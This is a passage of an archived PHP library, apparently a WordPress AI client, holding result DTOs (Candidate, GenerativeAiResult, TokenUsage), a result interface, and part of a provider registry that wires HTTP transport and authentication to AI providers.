     * Generation stopped to make tool calls.
     */
    public const TOOL_CALLS = 'tool_calls';
    /**
     * Generation stopped due to error.
     */
    public const ERROR = 'error';
}
src/Results/Contracts/ResultInterface.php000064400000002571152205304550014552 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Results\Contracts;

use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
use WordPress\AiClient\Results\DTO\TokenUsage;
/**
 * Interface for AI operation results.
 *
 * Results contain the output from AI operations along with metadata
 * such as token usage and provider-specific information.
 *
 * @since 0.1.0
 */
interface ResultInterface
{
    /**
     * Gets the result ID.
     *
     * @since 0.1.0
     *
     * @return string The unique result identifier.
     */
    public function getId(): string;
    /**
     * Gets token usage information.
     *
     * @since 0.1.0
     *
     * @return TokenUsage Token usage statistics.
     */
    public function getTokenUsage(): TokenUsage;
    /**
     * Gets the provider metadata.
     *
     * @since 0.1.0
     *
     * @return ProviderMetadata The provider metadata.
     */
    public function getProviderMetadata(): ProviderMetadata;
    /**
     * Gets the model metadata.
     *
     * @since 0.1.0
     *
     * @return ModelMetadata The model metadata.
     */
    public function getModelMetadata(): ModelMetadata;
    /**
     * Gets provider-specific metadata.
     *
     * @since 0.1.0
     *
     * @return array<string, mixed> Provider metadata.
     */
    public function getAdditionalData(): array;
}
src/Results/DTO/Candidate.php000064400000006647152205304550012025 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Results\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Results\Enums\FinishReasonEnum;
/**
 * Represents a candidate response from an AI model.
 *
 * When generating content, AI models can produce multiple candidates.
 * Each candidate contains a message and metadata about why generation stopped.
 *
 * @since 0.1.0
 *
 * @phpstan-import-type MessageArrayShape from Message
 *
 * @phpstan-type CandidateArrayShape array{message: MessageArrayShape, finishReason: string}
 *
 * @extends AbstractDataTransferObject<CandidateArrayShape>
 */
class Candidate extends AbstractDataTransferObject
{
    public const KEY_MESSAGE = 'message';
    public const KEY_FINISH_REASON = 'finishReason';
    /**
     * @var Message The generated message.
     */
    private Message $message;
    /**
     * @var FinishReasonEnum The reason generation stopped.
     */
    private FinishReasonEnum $finishReason;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param Message $message The generated message.
     * @param FinishReasonEnum $finishReason The reason generation stopped.
     */
    public function __construct(Message $message, FinishReasonEnum $finishReason)
    {
        if (!$message->getRole()->isModel()) {
            throw new InvalidArgumentException('Message must be a model message.');
        }
        $this->message = $message;
        $this->finishReason = $finishReason;
    }
    /**
     * Gets the generated message.
     *
     * @since 0.1.0
     *
     * @return Message The message.
     */
    public function getMessage(): Message
    {
        return $this->message;
    }
    /**
     * Gets the finish reason.
     *
     * @since 0.1.0
     *
     * @return FinishReasonEnum The finish reason.
     */
    public function getFinishReason(): FinishReasonEnum
    {
        return $this->finishReason;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_MESSAGE => Message::getJsonSchema(), self::KEY_FINISH_REASON => ['type' => 'string', 'enum' => FinishReasonEnum::getValues(), 'description' => 'The reason generation stopped.']], 'required' => [self::KEY_MESSAGE, self::KEY_FINISH_REASON]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return CandidateArrayShape
     */
    public function toArray(): array
    {
        return [self::KEY_MESSAGE => $this->message->toArray(), self::KEY_FINISH_REASON => $this->finishReason->value];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_MESSAGE, self::KEY_FINISH_REASON]);
        $messageData = $array[self::KEY_MESSAGE];
        return new self(Message::fromArray($messageData), FinishReasonEnum::from($array[self::KEY_FINISH_REASON]));
    }
    /**
     * Performs a deep clone of the candidate.
     *
     * This method ensures that the message object is cloned to prevent
     * modifications to the cloned candidate from affecting the original.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        $this->message = clone $this->message;
    }
}
src/Results/DTO/GenerativeAiResult.php000064400000032757152205304550013714 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Results\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Files\DTO\File;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
use WordPress\AiClient\Results\Contracts\ResultInterface;
/**
 * Represents the result of a generative AI operation.
 *
 * This DTO contains the generated candidates along with usage statistics
 * and metadata from the AI provider.
 *
 * @since 0.1.0
 *
 * @phpstan-import-type CandidateArrayShape from Candidate
 * @phpstan-import-type TokenUsageArrayShape from TokenUsage
 * @phpstan-import-type ProviderMetadataArrayShape from ProviderMetadata
 * @phpstan-import-type ModelMetadataArrayShape from ModelMetadata
 *
 * @phpstan-type GenerativeAiResultArrayShape array{
 *     id: string,
 *     candidates: array<CandidateArrayShape>,
 *     tokenUsage: TokenUsageArrayShape,
 *     providerMetadata: ProviderMetadataArrayShape,
 *     modelMetadata: ModelMetadataArrayShape,
 *     additionalData?: array<string, mixed>
 * }
 *
 * @extends AbstractDataTransferObject<GenerativeAiResultArrayShape>
 */
class GenerativeAiResult extends AbstractDataTransferObject implements ResultInterface
{
    public const KEY_ID = 'id';
    public const KEY_CANDIDATES = 'candidates';
    public const KEY_TOKEN_USAGE = 'tokenUsage';
    public const KEY_PROVIDER_METADATA = 'providerMetadata';
    public const KEY_MODEL_METADATA = 'modelMetadata';
    public const KEY_ADDITIONAL_DATA = 'additionalData';
    /**
     * @var string Unique identifier for this result.
     */
    private string $id;
    /**
     * @var Candidate[] The generated candidates.
     */
    private array $candidates;
    /**
     * @var TokenUsage Token usage statistics.
     */
    private \WordPress\AiClient\Results\DTO\TokenUsage $tokenUsage;
    /**
     * @var ProviderMetadata Provider metadata.
     */
    private ProviderMetadata $providerMetadata;
    /**
     * @var ModelMetadata Model metadata.
     */
    private ModelMetadata $modelMetadata;
    /**
     * @var array<string, mixed> Additional data.
     */
    private array $additionalData;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param string $id Unique identifier for this result.
     * @param Candidate[] $candidates The generated candidates.
     * @param TokenUsage $tokenUsage Token usage statistics.
     * @param ProviderMetadata $providerMetadata Provider metadata.
     * @param ModelMetadata $modelMetadata Model metadata.
     * @param array<string, mixed> $additionalData Additional data.
     * @throws InvalidArgumentException If no candidates provided.
     */
    public function __construct(string $id, array $candidates, \WordPress\AiClient\Results\DTO\TokenUsage $tokenUsage, ProviderMetadata $providerMetadata, ModelMetadata $modelMetadata, array $additionalData = [])
    {
        if (empty($candidates)) {
            throw new InvalidArgumentException('At least one candidate must be provided');
        }
        $this->id = $id;
        $this->candidates = $candidates;
        $this->tokenUsage = $tokenUsage;
        $this->providerMetadata = $providerMetadata;
        $this->modelMetadata = $modelMetadata;
        $this->additionalData = $additionalData;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function getId(): string
    {
        return $this->id;
    }
    /**
     * Gets the generated candidates.
     *
     * @since 0.1.0
     *
     * @return Candidate[] The candidates.
     */
    public function getCandidates(): array
    {
        return $this->candidates;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function getTokenUsage(): \WordPress\AiClient\Results\DTO\TokenUsage
    {
        return $this->tokenUsage;
    }
    /**
     * Gets the provider metadata.
     *
     * @since 0.1.0
     *
     * @return ProviderMetadata The provider metadata.
     */
    public function getProviderMetadata(): ProviderMetadata
    {
        return $this->providerMetadata;
    }
    /**
     * Gets the model metadata.
     *
     * @since 0.1.0
     *
     * @return ModelMetadata The model metadata.
     */
    public function getModelMetadata(): ModelMetadata
    {
        return $this->modelMetadata;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function getAdditionalData(): array
    {
        return $this->additionalData;
    }
    /**
     * Gets the total number of candidates.
     *
     * @since 0.1.0
     *
     * @return int The total number of candidates.
     */
    public function getCandidateCount(): int
    {
        return count($this->candidates);
    }
    /**
     * Checks if the result has multiple candidates.
     *
     * @since 0.1.0
     *
     * @return bool True if there are multiple candidates, false otherwise.
     */
    public function hasMultipleCandidates(): bool
    {
        return $this->getCandidateCount() > 1;
    }
    /**
     * Converts the first candidate to text.
     *
     * Only text from the content channel is considered. Text within model thought or reasoning is ignored.
     *
     * @since 0.1.0
     *
     * @return string The text content.
     * @throws RuntimeException If no text content.
     */
    public function toText(): string
    {
        $message = $this->candidates[0]->getMessage();
        foreach ($message->getParts() as $part) {
            $channel = $part->getChannel();
            $text = $part->getText();
            if ($channel->isContent() && $text !== null) {
                return $text;
            }
        }
        throw new RuntimeException('No text content found in first candidate');
    }
    /**
     * Converts the first candidate to a file.
     *
     * Only files from the content channel are considered. Files within model thought or reasoning are ignored.
     *
     * @since 0.1.0
     *
     * @return File The file.
     * @throws RuntimeException If no file content.
     */
    public function toFile(): File
    {
        $message = $this->candidates[0]->getMessage();
        foreach ($message->getParts() as $part) {
            $channel = $part->getChannel();
            $file = $part->getFile();
            if ($channel->isContent() && $file !== null) {
                return $file;
            }
        }
        throw new RuntimeException('No file content found in first candidate');
    }
    /**
     * Converts the first candidate to an image file.
     *
     * @since 0.1.0
     *
     * @return File The image file.
     * @throws RuntimeException If no image content.
     */
    public function toImageFile(): File
    {
        $file = $this->toFile();
        if (!$file->isImage()) {
            throw new RuntimeException(sprintf('File is not an image. MIME type: %s', $file->getMimeType()));
        }
        return $file;
    }
    /**
     * Converts the first candidate to an audio file.
     *
     * @since 0.1.0
     *
     * @return File The audio file.
     * @throws RuntimeException If no audio content.
     */
    public function toAudioFile(): File
    {
        $file = $this->toFile();
        if (!$file->isAudio()) {
            throw new RuntimeException(sprintf('File is not an audio file. MIME type: %s', $file->getMimeType()));
        }
        return $file;
    }
    /**
     * Converts the first candidate to a video file.
     *
     * @since 0.1.0
     *
     * @return File The video file.
     * @throws RuntimeException If no video content.
     */
    public function toVideoFile(): File
    {
        $file = $this->toFile();
        if (!$file->isVideo()) {
            throw new RuntimeException(sprintf('File is not a video file. MIME type: %s', $file->getMimeType()));
        }
        return $file;
    }
    /**
     * Converts the first candidate to a message.
     *
     * @since 0.1.0
     *
     * @return Message The message.
     */
    public function toMessage(): Message
    {
        return $this->candidates[0]->getMessage();
    }
    /**
     * Converts all candidates to text.
     *
     * @since 0.1.0
     *
     * @return list<string> Array of text content.
     */
    public function toTexts(): array
    {
        $texts = [];
        foreach ($this->candidates as $candidate) {
            $message = $candidate->getMessage();
            foreach ($message->getParts() as $part) {
                $channel = $part->getChannel();
                $text = $part->getText();
                if ($channel->isContent() && $text !== null) {
                    $texts[] = $text;
                    break;
                }
            }
        }
        return $texts;
    }
    /**
     * Converts all candidates to files.
     *
     * @since 0.1.0
     *
     * @return list<File> Array of files.
     */
    public function toFiles(): array
    {
        $files = [];
        foreach ($this->candidates as $candidate) {
            $message = $candidate->getMessage();
            foreach ($message->getParts() as $part) {
                $channel = $part->getChannel();
                $file = $part->getFile();
                if ($channel->isContent() && $file !== null) {
                    $files[] = $file;
                    break;
                }
            }
        }
        return $files;
    }
    /**
     * Converts all candidates to image files.
     *
     * @since 0.1.0
     *
     * @return list<File> Array of image files.
     */
    public function toImageFiles(): array
    {
        return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isImage()));
    }
    /**
     * Converts all candidates to audio files.
     *
     * @since 0.1.0
     *
     * @return list<File> Array of audio files.
     */
    public function toAudioFiles(): array
    {
        return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isAudio()));
    }
    /**
     * Converts all candidates to video files.
     *
     * @since 0.1.0
     *
     * @return list<File> Array of video files.
     */
    public function toVideoFiles(): array
    {
        return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isVideo()));
    }
    /**
     * Converts all candidates to messages.
     *
     * @since 0.1.0
     *
     * @return list<Message> Array of messages.
     */
    public function toMessages(): array
    {
        return array_values(array_map(fn(\WordPress\AiClient\Results\DTO\Candidate $candidate) => $candidate->getMessage(), $this->candidates));
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this result.'], self::KEY_CANDIDATES => ['type' => 'array', 'items' => \WordPress\AiClient\Results\DTO\Candidate::getJsonSchema(), 'minItems' => 1, 'description' => 'The generated candidates.'], self::KEY_TOKEN_USAGE => \WordPress\AiClient\Results\DTO\TokenUsage::getJsonSchema(), self::KEY_PROVIDER_METADATA => ProviderMetadata::getJsonSchema(), self::KEY_MODEL_METADATA => ModelMetadata::getJsonSchema(), self::KEY_ADDITIONAL_DATA => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Additional data included in the API response.']], 'required' => [self::KEY_ID, self::KEY_CANDIDATES, self::KEY_TOKEN_USAGE, self::KEY_PROVIDER_METADATA, self::KEY_MODEL_METADATA]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return GenerativeAiResultArrayShape
     */
    public function toArray(): array
    {
        return [self::KEY_ID => $this->id, self::KEY_CANDIDATES => array_map(fn(\WordPress\AiClient\Results\DTO\Candidate $candidate) => $candidate->toArray(), $this->candidates), self::KEY_TOKEN_USAGE => $this->tokenUsage->toArray(), self::KEY_PROVIDER_METADATA => $this->providerMetadata->toArray(), self::KEY_MODEL_METADATA => $this->modelMetadata->toArray(), self::KEY_ADDITIONAL_DATA => $this->additionalData];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_ID, self::KEY_CANDIDATES, self::KEY_TOKEN_USAGE, self::KEY_PROVIDER_METADATA, self::KEY_MODEL_METADATA]);
        $candidates = array_map(fn(array $candidateData) => \WordPress\AiClient\Results\DTO\Candidate::fromArray($candidateData), $array[self::KEY_CANDIDATES]);
        return new self($array[self::KEY_ID], $candidates, \WordPress\AiClient\Results\DTO\TokenUsage::fromArray($array[self::KEY_TOKEN_USAGE]), ProviderMetadata::fromArray($array[self::KEY_PROVIDER_METADATA]), ModelMetadata::fromArray($array[self::KEY_MODEL_METADATA]), $array[self::KEY_ADDITIONAL_DATA] ?? []);
    }
    /**
     * Performs a deep clone of the result.
     *
     * This method ensures that all nested objects (candidates, token usage, metadata)
     * are cloned to prevent modifications to the cloned result from affecting the original.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        $clonedCandidates = [];
        foreach ($this->candidates as $candidate) {
            $clonedCandidates[] = clone $candidate;
        }
        $this->candidates = $clonedCandidates;
        $this->tokenUsage = clone $this->tokenUsage;
        $this->providerMetadata = clone $this->providerMetadata;
        $this->modelMetadata = clone $this->modelMetadata;
    }
}
src/Results/DTO/TokenUsage.php000064400000011420152205304550012177 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Results\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
/**
 * Represents token usage statistics for an AI operation.
 *
 * This DTO tracks the number of tokens used in prompts and completions,
 * which is important for monitoring usage and costs.
 *
 * Note that thought tokens are a subset of completion tokens, not additive.
 * In other words: completionTokens - thoughtTokens = tokens of actual output content.
 *
 * @since 0.1.0
 *
 * @phpstan-type TokenUsageArrayShape array{
 *     promptTokens: int,
 *     completionTokens: int,
 *     totalTokens: int,
 *     thoughtTokens?: int
 * }
 *
 * @extends AbstractDataTransferObject<TokenUsageArrayShape>
 */
class TokenUsage extends AbstractDataTransferObject
{
    public const KEY_PROMPT_TOKENS = 'promptTokens';
    public const KEY_COMPLETION_TOKENS = 'completionTokens';
    public const KEY_TOTAL_TOKENS = 'totalTokens';
    public const KEY_THOUGHT_TOKENS = 'thoughtTokens';
    /**
     * @var int Number of tokens in the prompt.
     */
    private int $promptTokens;
    /**
     * @var int Number of tokens in the completion, including any thought tokens.
     */
    private int $completionTokens;
    /**
     * @var int Total number of tokens used.
     */
    private int $totalTokens;
    /**
     * @var int|null Number of tokens used for thinking, as a subset of completion tokens.
     */
    private ?int $thoughtTokens;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param int $promptTokens Number of tokens in the prompt.
     * @param int $completionTokens Number of tokens in the completion, including any thought tokens.
     * @param int $totalTokens Total number of tokens used.
     * @param int|null $thoughtTokens Number of tokens used for thinking, as a subset of completion tokens.
     */
    public function __construct(int $promptTokens, int $completionTokens, int $totalTokens, ?int $thoughtTokens = null)
    {
        $this->promptTokens = $promptTokens;
        $this->completionTokens = $completionTokens;
        $this->totalTokens = $totalTokens;
        $this->thoughtTokens = $thoughtTokens;
    }
    /**
     * Gets the number of prompt tokens.
     *
     * @since 0.1.0
     *
     * @return int The prompt token count.
     */
    public function getPromptTokens(): int
    {
        return $this->promptTokens;
    }
    /**
     * Gets the number of completion tokens, including any thought tokens.
     *
     * @since 0.1.0
     *
     * @return int The completion token count.
     */
    public function getCompletionTokens(): int
    {
        return $this->completionTokens;
    }
    /**
     * Gets the total number of tokens.
     *
     * @since 0.1.0
     *
     * @return int The total token count.
     */
    public function getTotalTokens(): int
    {
        return $this->totalTokens;
    }
    /**
     * Gets the number of thought tokens, which is a subset of the completion token count.
     *
     * @since 1.3.0
     *
     * @return int|null The thought token count or null if not available.
     */
    public function getThoughtTokens(): ?int
    {
        return $this->thoughtTokens;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_PROMPT_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens in the prompt.'], self::KEY_COMPLETION_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens in the completion, including any thought tokens.'], self::KEY_TOTAL_TOKENS => ['type' => 'integer', 'description' => 'Total number of tokens used.'], self::KEY_THOUGHT_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens used for thinking, as a subset of completion tokens.']], 'required' => [self::KEY_PROMPT_TOKENS, self::KEY_COMPLETION_TOKENS, self::KEY_TOTAL_TOKENS]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return TokenUsageArrayShape
     */
    public function toArray(): array
    {
        $data = [self::KEY_PROMPT_TOKENS => $this->promptTokens, self::KEY_COMPLETION_TOKENS => $this->completionTokens, self::KEY_TOTAL_TOKENS => $this->totalTokens];
        if ($this->thoughtTokens !== null) {
            $data[self::KEY_THOUGHT_TOKENS] = $this->thoughtTokens;
        }
        return $data;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_PROMPT_TOKENS, self::KEY_COMPLETION_TOKENS, self::KEY_TOTAL_TOKENS]);
        return new self($array[self::KEY_PROMPT_TOKENS], $array[self::KEY_COMPLETION_TOKENS], $array[self::KEY_TOTAL_TOKENS], $array[self::KEY_THOUGHT_TOKENS] ?? null);
    }
}
src/Providers/ProviderRegistry.php000064400000057020152205304550013351 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers;

use WordPress\AiClientDependencies\Http\Discovery\Exception\NotFoundException as DiscoveryNotFoundException;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Contracts\ProviderInterface;
use WordPress\AiClient\Providers\Contracts\ProviderWithOperationsHandlerInterface;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\DTO\ProviderModelsMetadata;
use WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface;
use WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface;
use WordPress\AiClient\Providers\Http\Contracts\WithHttpTransporterInterface;
use WordPress\AiClient\Providers\Http\Contracts\WithRequestAuthenticationInterface;
use WordPress\AiClient\Providers\Http\HttpTransporterFactory;
use WordPress\AiClient\Providers\Http\Traits\WithHttpTransporterTrait;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
use WordPress\AiClient\Providers\Models\DTO\ModelRequirements;
/**
 * Registry for managing AI providers and their models.
 *
 * This class provides a centralized way to register AI providers, discover
 * their capabilities, and find suitable models based on requirements.
 *
 * @since 0.1.0
 */
class ProviderRegistry implements WithHttpTransporterInterface
{
    use WithHttpTransporterTrait {
        setHttpTransporter as setHttpTransporterOriginal;
    }
    /**
     * @var array<string, class-string<ProviderInterface>> Mapping of provider IDs to class names.
     */
    private array $registeredIdsToClassNames = [];
    /**
     * @var array<class-string<ProviderInterface>, string> Mapping of provider class names to IDs.
     */
    private array $registeredClassNamesToIds = [];
    /**
     * @var array<class-string<ProviderInterface>, RequestAuthenticationInterface> Mapping of provider class names to
     *                                                                             authentication instances.
     */
    private array $providerAuthenticationInstances = [];
    /**
     * Registers a provider class with the registry.
     *
     * @since 0.1.0
     *
     * @param class-string<ProviderInterface> $className The fully qualified provider class name implementing the
     * ProviderInterface
     * @throws InvalidArgumentException If the class doesn't exist or implement the required interface.
     */
    public function registerProvider(string $className): void
    {
        if (!class_exists($className)) {
            throw new InvalidArgumentException(sprintf('Provider class does not exist: %s', $className));
        }
        // Validate that class implements ProviderInterface
        if (!is_subclass_of($className, ProviderInterface::class)) {
            throw new InvalidArgumentException(sprintf('Provider class must implement %s: %s', ProviderInterface::class, $className));
        }
        $metadata = $className::metadata();
        if (!$metadata instanceof ProviderMetadata) {
            throw new InvalidArgumentException(sprintf('Provider must return ProviderMetadata from metadata() method: %s', $className));
        }
        // If there is already a HTTP transporter instance set, hook it up to the provider as needed.
        try {
            $httpTransporter = $this->getHttpTransporter();
        } catch (RuntimeException $e) {
            /*
             * If this fails, it's okay. There is no defined sequence between setting the HTTP transporter in the
             * registry and registering providers in it, so it might be that the transporter is set later. It will be
             * hooked up then.
             * But for now we can ignore this exception and attempt to set the default HTTP transporter, if possible.
             */
            try {
                $this->setHttpTransporter(HttpTransporterFactory::createTransporter());
                $httpTransporter = $this->getHttpTransporter();
            } catch (DiscoveryNotFoundException $e) {
                /*
                 * If no HTTP client implementation can be discovered yet, we can ignore this for now.
                 * It might be set later, so it's not a hard error at this point.
                 * We'll try again the next time a provider is registered, or maybe by that time an explicit
                 * HTTP transporter will have been set.
                 */
            }
        }
        if (isset($httpTransporter)) {
            $this->setHttpTransporterForProvider($className, $httpTransporter);
        }
        // Hook up the request authentication instance, using a default if not set.
        if (!isset($this->providerAuthenticationInstances[$className])) {
            $defaultProviderAuthentication = $this->createDefaultProviderRequestAuthentication($className);
            if ($defaultProviderAuthentication !== null) {
                $this->providerAuthenticationInstances[$className] = $defaultProviderAuthentication;
            }
        }
        if (isset($this->providerAuthenticationInstances[$className])) {
            $this->setRequestAuthenticationForProvider($className, $this->providerAuthenticationInstances[$className]);
        }
        $this->registeredIdsToClassNames[$metadata->getId()] = $className;
        $this->registeredClassNamesToIds[$className] = $metadata->getId();
    }
    /**
     * Gets a list of all registered provider IDs.
     *
     * @since 0.1.0
     *
     * @return list<string> List of registered provider IDs.
     */
    public function getRegisteredProviderIds(): array
    {
        return array_keys($this->registeredIdsToClassNames);
    }
    /**
     * Checks if a provider is registered.
     *
     * @since 0.1.0
     *
     * @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name to check.
     * @return bool True if the provider is registered.
     */
    public function hasProvider(string $idOrClassName): bool
    {
        return $this->isRegisteredId($idOrClassName) || $this->isRegisteredClassName($idOrClassName);
    }
    /**
     * Gets the class name for a registered provider.
     *
     * @since 0.1.0
     *
     * @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
     * @return class-string<ProviderInterface> The provider class name.
     * @throws InvalidArgumentException If the provider is not registered.
     */
    public function getProviderClassName(string $idOrClassName): string
    {
        // If it's already a class name, return it
        if ($this->isRegisteredClassName($idOrClassName)) {
            return $idOrClassName;
        }
        // If it's a registered ID, return its class name
        if ($this->isRegisteredId($idOrClassName)) {
            return $this->registeredIdsToClassNames[$idOrClassName];
        }
        // Not found
        throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName));
    }
    /**
     * Gets the provider ID for a registered provider.
     *
     * @since 0.2.0
     *
     * @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
     * @return string The provider ID.
     * @throws InvalidArgumentException If the provider is not registered.
     */
    public function getProviderId(string $idOrClassName): string
    {
        // If it's already an ID, return it
        if ($this->isRegisteredId($idOrClassName)) {
            return $idOrClassName;
        }
        // If it's a registered class name, return its ID
        if ($this->isRegisteredClassName($idOrClassName)) {
            return $this->registeredClassNamesToIds[$idOrClassName];
        }
        // Not found
        throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName));
    }
    /**
     * Checks if a provider is properly configured.
     *
     * @since 0.1.0
     *
     * @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
     * @return bool True if the provider is configured and ready to use.
     */
    public function isProviderConfigured(string $idOrClassName): bool
    {
        try {
            $className = $this->resolveProviderClassName($idOrClassName);
            // Use static method from ProviderInterface
            /** @var class-string<ProviderInterface> $className */
            $availability = $className::availability();
            return $availability->isConfigured();
        } catch (InvalidArgumentException $e) {
            return \false;
        }
    }
    /**
     * Finds models across all available providers that support the given requirements.
     *
     * @since 0.1.0
     *
     * @param ModelRequirements $modelRequirements The requirements to match against.
     * @return list<ProviderModelsMetadata> List of provider models metadata that match requirements.
     */
    public function findModelsMetadataForSupport(ModelRequirements $modelRequirements): array
    {
        $results = [];
        foreach ($this->registeredIdsToClassNames as $providerId => $className) {
            $providerResults = $this->findProviderModelsMetadataForSupport($providerId, $modelRequirements);
            if (!empty($providerResults)) {
                // Use static method from ProviderInterface
                /** @var class-string<ProviderInterface> $className */
                $providerMetadata = $className::metadata();
                $results[] = new ProviderModelsMetadata($providerMetadata, $providerResults);
            }
        }
        return $results;
    }
    /**
     * Finds models within a specific available provider that support the given requirements.
     *
     * @since 0.1.0
     *
     * @param string $idOrClassName The provider ID or class name.
     * @param ModelRequirements $modelRequirements The requirements to match against.
     * @return list<ModelMetadata> List of model metadata that match requirements.
     */
    public function findProviderModelsMetadataForSupport(string $idOrClassName, ModelRequirements $modelRequirements): array
    {
        $className = $this->resolveProviderClassName($idOrClassName);
        // If the provider is not configured, there is no way to use it, so it is considered unavailable.
        if (!$this->isProviderConfigured($className)) {
            return [];
        }
        $modelMetadataDirectory = $className::modelMetadataDirectory();
        // Filter models that meet requirements
        $matchingModels = [];
        foreach ($modelMetadataDirectory->listModelMetadata() as $modelMetadata) {
            if ($modelRequirements->areMetBy($modelMetadata)) {
                $matchingModels[] = $modelMetadata;
            }
        }
        return $matchingModels;
    }
    /**
     * Gets a configured model instance from a provider.
     *
     * @since 0.1.0
     *
     * @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
     * @param string $modelId The model identifier.
     * @param ModelConfig|null $modelConfig The model configuration.
     * @return ModelInterface The configured model instance.
     * @throws InvalidArgumentException If provider or model is not found.
     */
    public function getProviderModel(string $idOrClassName, string $modelId, ?ModelConfig $modelConfig = null): ModelInterface
    {
        $className = $this->resolveProviderClassName($idOrClassName);
        $modelInstance = $className::model($modelId, $modelConfig);
        $this->bindModelDependencies($modelInstance);
        return $modelInstance;
    }
    /**
     * Binds dependencies to a model instance.
     *
     * This method injects required dependencies such as HTTP transporter
     * and authentication into model instances that need them.
     *
     * @since 0.1.0
     *
     * @param ModelInterface $modelInstance The model instance to bind dependencies to.
     * @return void
     */
    public function bindModelDependencies(ModelInterface $modelInstance): void
    {
        $className = $this->resolveProviderClassName($modelInstance->providerMetadata()->getId());
        if ($modelInstance instanceof WithHttpTransporterInterface) {
            $modelInstance->setHttpTransporter($this->getHttpTransporter());
        }
        if ($modelInstance instanceof WithRequestAuthenticationInterface) {
            $requestAuthentication = $this->getProviderRequestAuthentication($className);
            if ($requestAuthentication !== null) {
                $modelInstance->setRequestAuthentication($requestAuthentication);
            }
        }
    }
    /**
     * Gets the class name for a registered provider (handles both ID and class name input).
     *
     * @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
     * @return class-string<ProviderInterface> The provider class name.
     * @throws InvalidArgumentException If provider is not registered.
     */
    private function resolveProviderClassName(string $idOrClassName): string
    {
        // If it's already a class name, return it
        if ($this->isRegisteredClassName($idOrClassName)) {
            return $idOrClassName;
        }
        // If it's a registered ID, return its class name
        if ($this->isRegisteredId($idOrClassName)) {
            return $this->registeredIdsToClassNames[$idOrClassName];
        }
        // Not found
        throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName));
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function setHttpTransporter(HttpTransporterInterface $httpTransporter): void
    {
        $this->setHttpTransporterOriginal($httpTransporter);
        // Make sure all registered providers have the HTTP transporter hooked up as needed.
        foreach ($this->registeredIdsToClassNames as $className) {
            $this->setHttpTransporterForProvider($className, $httpTransporter);
        }
    }
    /**
     * Sets the request authentication instance for the given provider.
     *
     * @since 0.1.0
     *
     * @param string|class-string<ProviderInterface> $idOrClassName The provider ID or class name.
     * @param RequestAuthenticationInterface $requestAuthentication The request authentication instance.
     */
    public function setProviderRequestAuthentication(string $idOrClassName, RequestAuthenticationInterface $requestAuthentication): void
    {
        $className = $this->resolveProviderClassName($idOrClassName);
